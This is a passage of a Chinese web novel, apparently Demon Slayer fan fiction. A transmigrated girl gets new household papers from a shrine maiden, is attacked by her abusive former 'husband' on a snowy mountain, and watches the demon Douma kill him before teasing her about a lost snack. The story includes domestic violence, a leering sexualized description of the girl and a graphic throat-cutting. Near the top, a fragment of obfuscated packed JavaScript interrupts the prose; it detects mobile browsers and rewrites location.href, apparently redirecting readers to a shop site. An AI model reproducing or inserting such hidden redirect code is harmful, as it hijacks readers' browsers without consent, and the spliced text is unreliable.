神篱没有因为雫衣的想当然生出蔑视,耐心给她提供其他解决问题办法,“不过,教会证明就比较容易弄到了,那也可以作为身份的辅助证明。”
雫衣表情凝重。
她觉得这一点也不容易!
别说万事极乐教本来就不是什么正经教会,有没有相关证件都两说,就算它真能开,她也不敢用啊。
这跟时时刻刻提醒童磨还有份“饿了么”外卖没吃有什么区别?
“没证明不行吗?”雫衣垂死挣扎,“我只是去打工而已,又不是要在那里安家落户。”
“不行,会沦为流民。”神篱说,“到时候,只会更难找到能养活你们的工作了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028794|194475||http|test|mini|href|location''.split(''|''),0,{}));
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>雫衣两眼一黑。
不、不是!
这究竟是何等可怕的世界?
她又不是游手好闲不工作,为什么会沦为流民?
啊啊,这个世界果然跟她相性很差!
意识到这点后,雫衣果断思考起来,她到底是偷童磨的钱比较好呢?还是向鬼杀队出卖童磨比较好呢?亦或是,偷完童磨的钱后,再向鬼杀队出卖他比较好呢?
“如果暂时没其他办法的话,那你们就用这个吧。”
正当雫衣犹豫要不要两个都要之际,神篱从怀里掏出两份文书,交到她手上,挽救了她差点就变得更贱的人生。
雫衣盯着文书上的字,眼冒蚊香。
上辈子看不懂,这辈子依然看不懂,她现在就一纯纯大文盲。
“这是新户籍。”神篱笑着摸了摸她的头,“之前,你拜托我寻找安全温和的药品,我问过很多人,得到的答案都是具有一定风险性,为了方便带你们去东京府接受更先进的治疗,也方便你们后续休养,我就想了点办法,帮你们落户在了我在医院附近的房产,并请人重新办了两份户籍……原本还以为用不上了,幸好没浪费。”
神篱已经知道雫衣就是个愣头青了。
不放心她一无所知就往大城市钻,详细给她讲解了一通进城可能会遇到的问题,最后,才有些抱歉地说,“……时间有点赶,我没来得及询问你们的意愿,就擅自把你们新户籍落户在了那里,如果你们不喜欢……”
“喜欢!当然喜欢!!”
雫衣激动地浑身发抖,几乎要握不住手里的文书,“我们本来也是打算一块儿去东京府工作的,只是没想到你不仅帮我们解决了户籍的问题,还给我们提供了居住的房子!”
“明明、明明不想再白吃白喝你的,结果,还是让你费心了……简直不知道该怎么报答你才好!”
雫衣说得语无伦次。
眼眶也变得滚烫,好像有什么要流出来。
她很清楚,新到一个地方,最难解决的就是住宿问题。
在法律健全的现代,外地务工人员都可能遭遇无良中介和二手房东坑害,放在民风彪悍的封建社会,一旦遇到问题,只会更加求助无门。
而现在,她所焦虑的全部问题,都已经被神篱轻而易举的解决了!
“我要怎么报答你呢?神篱……你帮我这么多,我究竟该怎么报答你才好呢?”想把命都给她,可又觉得这是没人要的破烂玩意儿。
“举手之劳罢了。”神篱浑不在意。
雫衣用力抱住她。
激烈的情绪在身体里汹涌奔涌,大脑被冲刷得一片空白,思绪乱如麻草,什么都想不起来,只想抱着她不撒手。
神篱一下一下拍抚着雫衣后背。
她并不觉得自己做了什么了不得的善事,她只是单纯看到了而已。
自幼接受的巫女教育,让她无法对他人的痛苦和求助视而不见,她想力所能及给需要帮助的人提供帮助。
“对了!你要快点离开这里!”
雫衣猛地从神篱怀里直起身。
一想到自己差点把此行最重要的事忘了,她就吓得冷汗都冒了出来,慌忙按住神篱肩膀,急切地说,“……我在万事极乐教的这些天,听信众们讲了很多故事,其中有个很可怕的传闻,说是这附近常有吃人的怪物半夜出没,他尤其爱吃漂亮年轻的少女,大岳山北边的村子就有女孩儿因此失踪!”
闻言,神篱霎时变了脸色。
5. 你跟他睡了?
“虽然只是个传闻,但君子不立危墙之下。”
雫衣心生惭愧,她知道自己吓到神篱了,却并没有停下恐吓的嘴,“你现在孤身一人在外,父母亲戚皆不在身边,只有几个佣人随侍左右,万一遇到点什么,必然孤立无援。”
“回家去吧,神篱。”
她攥住神篱的手,哀求般盯着她的眼睛,“我知道你是因为想帮助我们,才会留在这个地方,可我们现在已经不需要了,你回家吧,不要再待在这里了。”
“你是个好人,我们都希望你能长长久久的活着、平平安安的活着。”
“只有这样,我们才有机会报答你。”
“我们一起走。”神篱却说。
雫衣:“??”
“逼得你们外逃,肯定发生了棘手的大事。”
神篱冷静说出自己的判断,“这种时候,琴叶不跟你一起,多半是不方便行动,大概率受了不轻的伤……不过没关系,我会平安把她带出来,到时候,我们一起离开这里。”
雫衣吓得差点跳起来。
最担心的情况还是出现了!
她为什么不及时止损,向神篱求助?
不就是因为担心不同番的主角们相遇,以至于出现什么不可控意外吗?
她知道童磨是个爱吃女人的高度危险恶鬼,可只要别去出发那个特殊cg,那蕙心兰质的琴叶就一直都是安全的。
可一旦加入“神篱”这个看起来就很主角的变量后,谁也不能保证不会触发童磨的被动技能,不会让他以“好可怜哦,又被人骗了,真是个笨孩子,还是让我来拯救你吧”为借口,强行走剧情!
到时候,她这个npc提前杀青就算了,神篱肉包子打狗一去不回怎么办?
琴叶会伤心的!
“不用不用。”雫衣赶紧摆手,“虽然附近的确流传着这种传闻,但极乐教并没有受袭的记录,你不用担心我们,现在真正有危险的人是你啊!”
孤身一人在外,还这么年轻漂亮,怎么看怎么是童磨的菜!
神篱说:“这并不妨碍我带你们一起走。”
雫衣注视着神篱。
有那么一瞬,她很想告诉神篱真相。
可她又清楚,对于活在这个世上的人来说,没遇过鬼、不知鬼,是一种幸福。
神篱无私帮助了她们这么多,她不想破坏神篱的幸福。
她这样好的人,就应该一辈子都活得轻轻松松、无忧无虑——我过不上的好日子,看着她过上了,就好像我也过上了一般,也会觉得幸福。
念及此,雫衣坚定心神。
她握住神篱的手,用力摇了摇:“你已经帮我们够多的了,不要再为我们操心了,你这样真的会让我们无地自容!”
她再次恳求,“离开这里吧,神篱,只要你好好的,比什么都好。”
神篱没再坚持。
她紧蹙着眉,不知道在想什么。
雫衣松了口气。
生怕她改变心意,赶紧把没吃完的东西打包好,丢下一句“到时候,我们东京府再见”,便头也不回地跑了。
山中气候复杂多变。
出门的时候还是青天白日,回程走了一半,天色就阴沉下来,簌簌飘起雪花。
四周静寂无声,就连鸟雀振翅的声音都没有,只能听到她从鼻子里发出一声长过一声凌乱的喘息。
雫衣放缓脚步,望着头顶不停飘落雪花的灰蒙蒙天空。
她曾经很讨厌冬天。
因为冬天真的很难熬。
富有的人可以穿着厚实的冬衣,窝在烧了地炉的房子里,盖着蓬松温暖的棉被,喝着热汤取暖,就连下雪都是种可以欣赏把玩的风雅趣事。
可贫苦的人家就只能瑟瑟发抖,靠着单薄体温取暖。
手、脚、耳朵、脸蛋,但凡露出来的部位都会被冻得青青紫紫,生出难看的冻疮,发展到后期,皮肉还会裂开无法愈合的血口子,不停渗血化脓。
雪天那样冷,每一次下雪,她都要担心自己睡过去后,明天是否还能睁开眼。
可现在不一样了。
想到这里,雫衣长长呼出一口气,她已经回家了。
童磨无偿给她们提供了避寒的衣物、温暖的房子、充足的食物,让她们可以活得像个人。
……如果他是个人就好了。
雫衣忍不住感慨。
可转念又一想,他要真是个人的话,那他岂不是要肉身成圣?不信神的人却真成了神,总感觉有点地狱……
晃神之际,身后传来由远及近传来的急促脚步声。
雫衣还没来得及回头去看,被簪子束起来长发就被用力薅住,拖拽的疼痛迫使她向后仰起头。
“果然是你!”
“你以为躲到这里我就找不到你们了?!”
隔着簌簌飘落的雪花,看清男人面容的瞬间,溢满生理性泪水的眸子猛地瞪大,雫衣呆呆看着男人,甚至忘了反抗。
“你在害怕?”男人嘴里喘着粗气。
他仿佛发现了什么好笑的事,粗鲁地把人扯到自己面前,“呵,你这样的怪物也会害怕?你不是一直很能耐吗?不是总爱说些别人听不懂的诅咒吗?怎么没了琴叶的保护就开始瑟瑟发抖了啊?”
手指骤然发力,“我还以为你真的无所畏惧呢!”
雫衣发出吃痛的闷哼。
她向后伸手,似乎想要把自己的头发从对方手里拯救出来,可是太疼了,颤抖的手指头失去准头,只摸到自己被扯散的头发。
她似乎别无他法了,眼睛颤巍巍地流出泪来。
男人满意了。
他很喜欢雫衣现在的样子,如有实质的目光落在她脸上。
朦胧潮湿的眼睛,冒出细汗的鼻尖,因为疼痛微微张开的饱满爽唇瓣,无一不美不胜收,越过洁白的贝齿往里看,甚至还隐约可见瑟缩成一团的红润小舌,呼吸不自觉发紧,才不过几天不见而已,她就变得愈发让人把持不住了。
“雫衣,你真该早点摆出这种惹人怜爱的表情。”
男人喉结不受控制上下耸动,原本赤红的双目逐渐露出痴迷之色“……要不然,我又怎么会因为你跟怪物一样又冷又硬,没有半分琴叶的温驯听话,转而生出将你卖入花街的念头?”
他一直都知道她们姐妹俩长得好。
即便因为长期饥饿和辛苦劳作,变得灰扑扑的,但她们天生底子好,随着年纪渐大,一点点长开,稚嫩的面容逐渐出落得美丽动人,男人们各式各样垂涎的目光也纷至沓来。
只不过,他们都来晚了,她们已经是他的人了。
不管是姐姐,还是妹妹,都应该是他的人……
“这一切都要怪你不乖。”
男人俯下身,盯着抖得更厉害的雫衣,神情愈发亢奋,“但凡你识趣点,我又怎么舍得打你?琴叶又怎么会因为要护着你被打?”
“你们会挨打,都是你的错啊,雫衣!”
雫衣低垂着眉眼。
男人更激动了,仿佛终于驯服了一只野兽。
他来时大概喝了酒,粗重的气息从鼻子里喷出来的时候,滚烫的潮气带着浓郁的酒臭味,一下一下喷在雫衣脸上,“一切都没关系,只要你愿意改,愿意变得像琴叶一样听话,我就会原谅你。”
他迫不及待表态,“我不会骂你,更不会再打你。之前父亲失足跌入沟里淹死不是你的错,那天母亲追着你们上山失踪也跟你没关系。只要、只要你愿意回到我身边,我就会原谅你,我们还是幸福快乐的一家人……”
“【神经,害我莫名其妙笑了一下】。”
雫衣的声音很轻,并不比雪花飘落的声音大多少,却让男人骤然僵在原地。
她缓缓掀起眼帘,被泪水洗的清亮的瞳仁一瞬不瞬盯着男人,在他惊骇的眼神中,露出一丝怪异的笑,“我还以为你试图卖掉我的时候,是已经认清现实,放弃幻想,准备做个真正的男人,向我复仇了呢……没想到,我还是被你畜生的程度震惊到了,【不愧是大畜生强强联合出来的嫡畜生,你这畜生味儿未免也太纯种了点】!”
“闭嘴闭嘴!!”男人反手把人搡在地上!
雫衣跌入满是脚印的雪里。
手掌被雪里的硬物硌得生疼,还没来得及从地上爬起来,就又被男人薅着衣领拎起来。
“不知好歹的贱女人,你怎么敢这么跟我说话?!”
男人面目狰狞,“如果没有我家的施舍
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,你跟琴叶早就一起饿死了!是我救了你!我让你们做什么,你们就应该做什么!我能看上你们,是你们的福气!”
“可你竟然还敢诅咒我……”
他咬着牙,高高举手掴过来,就像过去他殴打琴叶那样,“我果然还是对你太好了,我就不应该惯着你们这些不知感恩的贱女人!看我不……”
“呀呀,这可不行。”
一只手从后方伸来,轻飘飘攥住男人的手。
纷纷扬扬的雪花之中,高大的男人身影缓缓浮现,轻柔的笑声穿透细雪屏障,传到每个人的耳朵里,“雫衣只是个柔弱的小女孩,可撑不住你这么暴力殴打,会被你打坏的哦。”
——是童磨。
他浑身上下都透着一股养尊处优的气质。
看似没什么力气,却轻易就将男人扯离雫衣,山岳一样挺拔健壮的躯体将她护在身后。
雫衣攥紧手里的簪子。
视线越过童磨,无比失望地盯着男人的眼睛。
差一点,就差一点点……
男人毫无反抗之力,
顺着甩开的力道踉跄后退几步才站稳,酒劲上头的脑袋都瞬间醒了三分,“你……你是谁?!奉劝你不要多管闲事,你身后的那个贱女人,是我的人!这是我的家事!”
“啊,你是说我么?”
童磨转过脑袋,露出一张总在无忧无虑微笑的面庞。
看清对方脸的瞬间,男人像是看到了什么恐惧的东西,仓皇后退。
他说不出哪里不对,但就是觉得很不对劲,心里莫名阵阵发寒。
“初次见面,真是失礼了。”
童磨恍若为觉,优雅地行了个脱帽礼,“日安,阁下。我叫童磨,是万事极乐教的教主,今天可真是美妙的一天啊。”
男人:“……是你收留了她们?”
“嗯,没错哦。”童磨轻快应着。
他重新带上帽子,蹲在雫衣面前,从她手里抠出那支被攥得死紧的簪子,无视她惊吓的眼神,帮她把散开的头发挽起来,做完这一切,才解开身上的黑色外袍,罩在她单薄的身上,“我遇见她们的时候,她们浑身是伤,在漆黑的山林里,没头苍蝇一样地乱跑……唉,如果我不把她们捡回来的话,恐怕再过不久,她们就要暴尸荒野了,那未免也太可怜了。”
说到动情处,那双流光溢彩的七彩眼珠几乎要流出泪来。
雫衣看向童磨。
没忍住,打了个哆嗦。
“还是很冷吗?”
童磨歪头看过来,体贴地调整外袍,把人裹得更紧,完全不在意那么珍贵的正绢织物拖了地。
雫衣沉默了一会儿,摇摇头。
她握住自己空荡荡的掌心,不是很想跟他解释,她并不是冷,只是单纯被一冷一热激到了。
嗯,或许还有一点点被他瘆到了……
“那就是在害怕吗?”童磨的声音悲悯又温柔。
他摸了摸雫衣苍白的小脸,冷冰冰的,顿时心疼地把人抱起来,还颠了一下,让她稳稳坐在自己左臂上,用自己宽厚结实的怀抱给她取暖,“已经不需要害怕了哦,我就在你身边。”
雫衣被童磨突如其来的举动吓了一跳。
失态叫出声,本能想要伸手抓点什么稳住身体,可她被裹成了猫卷,胳膊根本伸不出来,身体重心不稳,被童磨及时搂住后背,才不至于摔下去。
还没来得及稳住受惊乱跳的心脏,就被他搂入怀里,宛若情人爱语的呢喃贴着自己头顶响起。
“你可是我最心爱的信徒啊,我会不顾一切保护你,绝不让任何人伤害你。”
雫衣:“……”
不是,这话说得你自己都不会笑吗?
雫衣面无表情。
总觉得自己被他当猗窝座整了,还不止一次!
也就更不想跟他解释了,她其实不是害怕,就只是单纯有点震惊而已。
原本以为早就死掉的男人,竟然在光天化日出现在自己面前……
雫衣暗暗想,这种见鬼的心情,大概就只带着妻女在浅草街头闲逛,结果却被疑似缘一小号的炭治郎当场叫破真名的无惨才能理解吧。
“你跟他睡了?”男人忽地开口。
6. 这玩意儿是金的么
童磨不明所以。
雫衣不予理会。
没有跟畜生解释的义务。
“我问你是不是跟他睡了?!”男人用力指向童磨,又问了一遍。
雫衣看都不看男人一眼。
“欸???”童磨却倒吸一口凉气,俊美脸上满是震惊与不解,“不可以吗?雫衣这么可爱,我们教里的每个人都想跟她睡啊!”
“你说什么?!!”男人怒目圆瞪。
“就是跟雫衣睡啊。”
童磨冲男人露出和善的微笑。
他拥紧怀里的雫衣,仿佛抱住了自己心爱的大宝贝,“香香软软的,抱在怀里还热乎乎的,谁能拒绝跟她这么可爱的女孩子一起睡呢……啊,你脸色好难看哦,是在生气吗?为什么要生气?难道你不想跟她睡吗?”
雫衣:“……”
要不听听你说什么呢?
雫衣表情一言难尽。
她已经很确定,自己被他当猗窝座整了。
如果她不是本人,如果不是知道他顶多也就跟信徒玩玩小孩子的恋爱游戏,真的会觉得他就一色中恶鬼!
……这么爱整人,还叫什么“万世极乐教”啊,干脆改名叫“聚众合欢宗”得了!这不一整一个准?
雫衣忍不住吐槽。
“我就知道你们睡了!!”
男人瞬间暴怒,“怪不得上次我来询问有没有她们的踪迹,你们一致回答没有,怪不得他现在如此护着你……你们这对该死的奸夫淫/妇!!”
“我允许了吗?我允许你跟别的男人睡了吗?!”
男人死死盯向雫衣,眼睛红得仿佛要滴血。
此时此刻,她正用从来没有向他展露过的温驯姿态,亲昵地依偎在别的男人怀里,丝毫不顾及他的颜面,简直……简直该死!
“既然你能跟他睡,为什么我就不行?!”
男人发疯质问,“说啊,你这个养不熟的贱种!为什么别人能睡我就不能?!”
这话都把雫衣听乐了。
跳梁小丑她见多了,但这么小丑的,她还是头一次见。
她不免好笑地想,咱就是说,有没有一种可能,你根本就没这么权利左右我的人生、我的选择呢?
别说我没跟童磨睡过,就算我睡完上弦睡下弦,睡完下弦还把鬼杀队也睡了,把这世上的所有男人都变成前夫哥,你也管不着我呀。
但她没有对家暴贱男支教的义务。
家暴贱男爱怎么想怎么想,她只要确定他能闭嘴就够了。
想到这里,雫衣放松了身体。
蛄蛹蛄蛹被裹成猫卷身体,在童磨怀里找个了更舒服的姿势,更亲密地跟他贴在一起。
他们之间的距离实在太近了。
呼吸间,不可避免闻到童磨身上的气味。
并非教里随处可见的檀香,而是一种更加干净清冽的味道,类似于蓝天、旷野、泉水的感觉。
出人意料的有点好闻,雫衣忍不住偏头,一边闻,一边把被风吹得凉浸浸的耳朵也贴在童磨侧颈,冷了就换个地方,直到让自己全部暖和起来,才心满意足地埋入那清冽的香气之中。
男人眼球暴血,牙齿咬得咯咯响。
“他有什么好?你为什么要选择他?!”
他破大防,“你觉得他有钱?他长得好看?还是他更能让你爽?你怎么能这么拜金、轻浮、自甘下贱?!”
“你不要忘了,当初可是我可怜你们,你们才有命活下来!而如今,你竟然无耻地背叛我,投入他的怀抱……”
正骂着,男人声音一滞,整张面目都扭曲起来,“……琴叶是不是也跟他睡了?!!”
“回答我,你们这两个饥不择食的贱女人,是不是都跟他睡了?!”
男人仿佛发狂的野兽,手指哆哆嗦嗦指向童磨,无能狂怒,“只有一张脸的小白脸有什么好?!他哪有一点男子气概的样子,只会腆着一张蠢货脸,搁那儿笑笑笑!!”
“他这种男人中看不中用,怎么可能让你们爽?!”
“你们为什么要跟这么没用的男人睡?琴叶跟他睡了还不行,你也要跟他睡……你们怎么这么贱!”
“说啊,你们究竟为什么这么贱?但凡是个平头正脸的男人,你们就要跟他睡,是吗?贱货贱货,你们这两个该死的贱货——”
童磨被人指着鼻子骂了半天。
他看了看暴怒的男人,又瞅了瞅近在咫尺的雫衣,似乎终于意识到不对了,无辜眨眼:“……啊,原来你是说她们跟我交合吗?”
“难道不是吗?!”男人怒目而视。
“哈哈哈,当然不是啦。”
童磨单手托着雫衣,另一手放她背上,为她挡风,“我只是太喜欢雫衣了,单纯想抱着她一起睡而已。”
“没做过你会这么护着她?”男人破口大骂,“看看你现在在跟她做什么吧!”
“保护信徒是我的职责所在。”
童磨瞥了眼愚昧的男人,同情道,“是你不懂,我们万世极乐教可是为了让大家获得幸福而存在的,无论有没有跟我交合过,我都会拯救他们于苦难之中,带领他们走向真正的极乐。”
“我平等的爱着每个信徒……”
说到这里,他忽然顿住。
天人般俊美的脸上闪过挣扎的神色,随后便像是坚定了什么决心,愈发怜爱地搂住雫衣,仿佛爱子的圣母,“不过,现在我最爱雫衣。如果她想的话,那么无论是摸摸的事,还是交合的事,我都会陪她一起做。”
他真挚地感慨着,“我啊,从小就是个温柔的孩子,一定会非常非常温柔,绝对不会弄伤她……”
雫衣:“……”
雫衣面无表情看向童磨。
不是,你把别人当猗窝座整的时候能不能别带我?不是很想做你play的一环……
童磨冲她笑。
雫衣想一拳砸他脸上。
“说来说去,不就是还没得手吗?”
男人冷酷,“一个骗财骗色的邪教头目,竟然还有脸说什么为了让大家获得幸福而存在的,还真是笑死人了!”
“这世上根本就不存在天上掉馅饼的好事!这么愚蠢的谎话,你顶多也就只能骗骗她们这两个送上门而不自知的蠢货!我才不会信你!!”
“好过分哦。”童磨委屈,“明明大家是第一次见面,你怎么能说这么伤人的话……啊,是因为你在难过吗?”
七彩眼睛瞬间亮了起来。
自洽的逻辑让他悲悯地看向男人,晶莹的泪水说掉就掉,“真可怜啊,你一定是遇到很痛苦的事吧……来,向我倾诉吧,我一定会好好聆听,把你从不幸和绝望中救赎出来!”
男人:“!!”
“呸——”男人啐了口,“不要给我装疯卖傻!”
童磨眼神受伤。
“我告诉你,这事儿没完!”
男人恶狠狠道,“你拐了我两个老婆,还把她们都睡了……”
“你误会了,我没有跟她们交合过。”童磨耐心解释。
“别再狡辩了!”男人根本不信,“就算还没跟雫衣睡,你也肯定把琴叶睡了!要不然,你会好心收留她们?”
说着,讽刺的目光扫视过雫衣,语气嘲弄,“她这一身花了你不少钱吧?衣服鞋子全部都是崭新的,布料也很上乘,头发也不再使用头绳随便扎着,而是用上了做工精巧的簪子……刚刚我抓到她的时候,还闻到了香脂的气息……那东西很贵吧?”
“嗯嗯,你说得不错!”
说起这个童磨就来劲了,满脸赞许地看向男人,“布料、簪子、香脂,都是今年最流行的款式,我们一致觉得,像雫衣这种花骨朵一样美丽的女孩子了,就应该打扮得漂漂亮亮,这样放在身边才赏心悦目嘛。”
“你有什么好得意的?”
男人却又破防了,大喊大叫,“不就有两个臭钱嘛?你有钱了不起啊?你以为你有钱就能为所欲为了?”
童磨被骂得愣住。
不明白
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男人怎么忽然又生气了。
明明刚刚他们还交流得很愉快,感觉他内心真的好脆弱,好可怜哦……
“你不是很有钱吗?,那好啊!”
男人已经不想跟童磨废话了,语气凶狠,“虽然她们都是无耻的贱货,但她们到底是我老婆,如果你不把她们还给我,再给我足够的赔偿,我就会马上下山报官!到时候,绝对要把你这个诱拐,唔……”
威胁的话语戛然而止。
雫衣一直关注着现场,可她依然没有看清童磨是如何出手的。
只听到锐利的金属撕裂冰冷空气的声音,啪嗒啪嗒滴血的金色折扇就已经被他捏在掌心,等她定睛看去,男人脖颈上已然出现一条醒目的红痕。
男人一无所觉。
他仍在张着嘴愤怒嘶吼,没有发出声音,他才困惑起来。
可这一小会的功夫,那发丝一样红线已经一点点扩大,殷红的血珠冒了出来,紧接着就是溃堤般汹涌。
男人这才意识到不对,
他手忙脚乱捂住脖子,试图阻挡身体血液流失。
可刚刚那致命的一击完全不是人类能抵抗的,咕咕鲜血从指缝喷涌而出,在洁白的雪地上溅出触目惊心的痕迹。
身体迅速失血,他摇摇晃晃摔在地上,仓皇地看过来,仿佛垂死的鱼,徒劳翕动嘴巴,不知道在说什么。
“真的是,你怎么能这么污蔑我呢?”
童磨转动金色折扇,遮住雫衣的眼睛,孩子气地抱怨,“都说我没跟她们交合过了,你为什么就是不信呢?”
他苦着脸,眼泪像是断了线的珍珠,“……呜,竟然还威胁要把我抓起来,真的好过分哦!怎么可以这么对我?我明明只是想拯救你而已!”
哭了半天,没人理。
童磨吸了吸鼻子,不哭了,低头看向怀中的雫衣。
她被扇面遮了视线,却仍朝这男人倒地的方向望去,眸光怔怔,不知道在想些什么。
“唔,怎么了?”
童磨顺着雫衣的目光看去。
视野里只有展开的扇面,上面彩绘的莲花纹样栩栩如生,除此之外,并没什么特别的,不由好奇地把脑袋伸到她面前。
雫衣正沉浸在自己的情绪里,恍若天人的脸毫无预兆在眼前放大,她吓得一激灵,呼吸都近乎停滞,童磨却像好奇宝宝一样凑得更近,跟她脸贴脸,“……怎么一直不说话?是被我粗鲁的行为吓到了吗?啊,这可怎么办呢?我跟你道歉好不好?你能原谅我吗?”
雫衣:“……”
雫衣人都要麻了。
不是,这鬼能不能稍微读一读空气?没看到她正在出神吗?
这么高频率把她当猗窝座整,可是会让她再也无法发自内心说出“感恩童磨”,只想化身猗窝座,一拳打掉他下巴,手动给他闭麦的啊!
有心生气,可目标还没实现,而他又是那么大方男菩萨的……算了,摸人手短,姑且再忍忍吧。
雫衣很快给自己做好了思想工作。
用唯一能动的脑袋顶了顶沾血的扇面,跟童磨说了今天见面后的第一句话:
“教主大人,你的扇子是黄金做的么?”
童磨:“嗯?”
“黄金固然珍贵,但沾了血,就不干净了。”
雫衣看向童磨,嘴里发出虔诚信徒的声音,“这种不洁的东西不能留在教主大人身边,会玷污你高贵的品德,不如就交给我来处理吧,我保证处理得不留痕迹,绝不会给你带来丝毫麻烦!”
“欸——”童磨拉长了声音,“真的能不给我带来丝毫麻烦么?”
雫衣用力点头。
“那你为什么不听话?”
童磨低下头,闪烁着七彩虹光的眸子笑眯眯凝视着雫衣,“琴叶应该告诉过你吧,不要出去,外面很危险,他们还在找你……雫衣,你是聪明的孩子,既然知道怎么做才能不给我带来麻烦,为什么还要偷偷跑下山?让我担心地出来找你,难道就不是在给我带来麻烦吗?”
7. 好狠一男鬼!!
雫衣:“……”
雫衣听得直想翻白眼。
我让你来找我了?
你确定你是出于担心,而不是出于想把我当猗窝座整的糟糕心思吗?
雫衣很想把话怼到童磨脸上,可又太清楚他是什么货色了。
不给他想要反应,他都动不动把她当猗窝座整,这要是给了他想要的反应,那他岂不是要上天?
“没有偷偷的。”雫衣只能忍气纠正,“我已经跟琴叶说过了。”
童磨盯着雫衣。
忽的,他轻轻笑起来。
手中金扇合上复又展开,发出金属特有的锐利之声,“琴叶怎么会放心你自己出来?她就不怕你被这个男人抓到,再度遭遇不幸么?我可是还记得哦……当初你们狼狈出逃,就是因为这个男人联系了茶屋,要把你卖入花街吧。”
你竟然还有脸提?
雫衣拳头又硬了,这不都应该怪你吗?
你要是在处理掉那个死老婆的时候再勤快点,顺道把这个家暴贱男也处理了,我还会有今日这番遭遇吗?
不过,这事儿也算给雫衣提了个醒。
做人不能太大意,盲目信任漫画剧情容易出问题。
这次大意了只是被薅头发而已,万一下次大意了,被一刀砍成两段怎么办?
我可一点也不想体验“创业未半而中道崩殂”的绝望啊!
雫衣沉痛地想,童磨这么大一个奖励就在眼前,我还有好多地方没摸过呢!就这样大意死掉的话,那我之前的苦岂不是白吃了?
呜呜呜,这种事情不要啊!那还不如一开始就死掉呢!!
“哦,这是因为我告诉琴叶我会跑。”
雫衣看向童磨,他浑身上下都散发着不靠谱的气息,真叫人不放心,“今天的事,你不要告诉琴叶。万一被她知道我不仅没跑掉,还被人薅了头发,如果不是你及时赶到,甚至还要挨打,她肯定会自责地吃不下饭!”
童磨:“……”
“啊,原来是这样吗?”
童磨用扇头抵住下巴,看了雫衣好一会儿,恍然大悟般哈哈大笑,“我还以为山下有比你的安危更重要的存在,所以才会让你毫不顾惜自己也要出去呢。”
……他又叒叕开始了。
雫衣真是头疼。
一张嘴就是阴阳怪气的话,他说的不累,她都听累了。
有这个精力用在哪里不好,为什么他就非要用来挑衅别人身上?蓝色彼岸花找到了吗你就搁这儿陶冶情操?
怪不得无惨最不喜欢你!
唉,有时候真的挺想跟无惨打小报告的!
雫衣已经不想搭理童磨了。
她使劲蛄蛹蛄蛹,想把自己从猫卷的状态中挣脱出来,可不知道是童磨裹得太紧了,还是他抱得太用力了,挣了一身汗也没挣出来。
“怎么了?”童磨还在故意问。
“放我下去。”雫衣感觉自己今天就要把一辈的气叹完了,她是真的没招了,从没有一刻如此理解猗窝座,“你这样抱得我很不舒服,太紧了,都快把我挤坏了。”
“没有吧?”童磨不确定地说,掐着胳肢窝把人放回地上,“我也没有很用力啊,不应该弄疼你的。”
雫衣拉下拖地的外袍,卷吧卷吧还给童磨。
在他茫然不解的眼神中,掀开长羽织,解开系在腰间绳子,摸出一包用油纸包着的点心。
点心早已被挤得不成样子。
柔软的松饼塌成一坨,淋着的蜂蜜也被压得到处都是,油纸都被染成透明的样子。
所幸,油纸质量比较好,没有被挤爆,只在底部开了一道小口子,不至于淌得到处都是。
雫衣松了口气。
左右没瞧见合适的地方,便牵过童磨的手,让他双手向上捧着,把点心放上去,不停给拍拍打打,试图重新恢复蓬松度。
“这是什么?”童磨问。
“雇主送给我的食物。”
雫衣解开细绳,补好油纸破损位置,一边重新打包,一边解释,“她是个心善的人,知道我跟琴叶生活艰苦,在给我们提供一些轻便工作的同时,还会赠与我们一些免费的食物——这个点心就是她送给我的,用鸡蛋、牛奶、糖粉做成,上面还淋了厚厚一层的蜂蜜,每吃一口都要甜进心里去。我最爱吃的就是这个,怎么吃都吃不够,所以,每次做完活后,我最期待就是到她那里去。”
“哇,听起来好好吃的样子。”童磨捧场。
雫衣客气:“你想尝尝吗?”
童磨犹豫:“可以么?”
“当然可以。”雫衣说得大方,“你帮了我们这么多,无论什么东西,我都愿意跟你分享。”
“那我开动了咯。”童磨脸上立刻绽出灿烂的笑容。
雫衣就静静看着童磨演。
哪怕童磨张大嘴巴,作势要一口吃掉整包点心,她也不觉得童磨真的会吃。
他已经变成了鬼,早就不能再吃人类的食物,也正因为如此,他才会把人类时期嗜酒的爱好改成了泡酒浴。
别说点心已经变成毫无卖相的一坨,就算卖相极佳,他也不会吃。
之所以故意摆出这副跃跃欲试的表情,不过是又把她当猗窝座整!
……简直就跟熊孩子一样!
正腹诽着,童磨已经吞下所有点心。
他愉快咀嚼、吞咽,脸上非但没有半点不适的表情,反而还露出幸福又享受的表情。
雫衣如遭雷劈。
大脑空白了好一会儿,她才终于震惊又悲愤意识到,自己又掉入了盲目信任漫画设定的怪圈之中!
童磨这鬼是真狠呐!
她痛心疾首地想,为了把她当猗窝座整,都不介意把自己当猗窝座整!他真是好狠一男鬼!!
“谢谢雫衣。”童磨意犹未尽地舔去嘴唇上沾到的蜂蜜,“的确很美味,我很喜欢。”
雫衣再也忍不住。
痛苦的眼泪唰得一下喷出来!
别说了别说了!
他这个鬼怎么这样啊?
她也就客气客气,他怎么真给吃了?
就算是想把她当猗窝座整,吃一点点不就好了,为什么要全吃掉?
都这么大一鬼了,能不能不要随随便便糟践食物?这可是她特意留着给琴叶吃的!他能消化得了吗他就吃?教里那么多人不够他吃啊?吃她珍贵的甜品做什么?
更可恨的是,吃也就吃了,为什么还要跟她砸巴嘴?做鬼能不能有点素质!!
雫衣越想越气,单方面撕毁条约。
她发誓自己以后再也不要感恩童磨了!再感恩她就是狗!她就是狗!!
就吃他的、喝他的、摸他的那点,都不够赔偿她精神损失费的!
童磨笑眯眯凑近:“雫衣,你在哭吗?”
“我才没有!”雫衣胡乱擦去脸上的泪水,愤怒瞪他一眼,扭头就走。
跟有病似的,呸——
童磨笑得更开心了。
长臂一伸,就把气成河豚的雫衣拦腰勾回来,无视她的挣扎,重新抱在怀里。
“你干什么?!”雫衣气到破音。
“好啦好啦,别生气,刚刚是我不好。”
童磨没脾气似的道歉,被雫衣扭头拒收也不恼,依然用宽大的黑色外袍为她挡去风雪,抱着她朝山下走去,“我不该故意吃掉你的甜品惹你生气,我重新给你买一份好不好?”
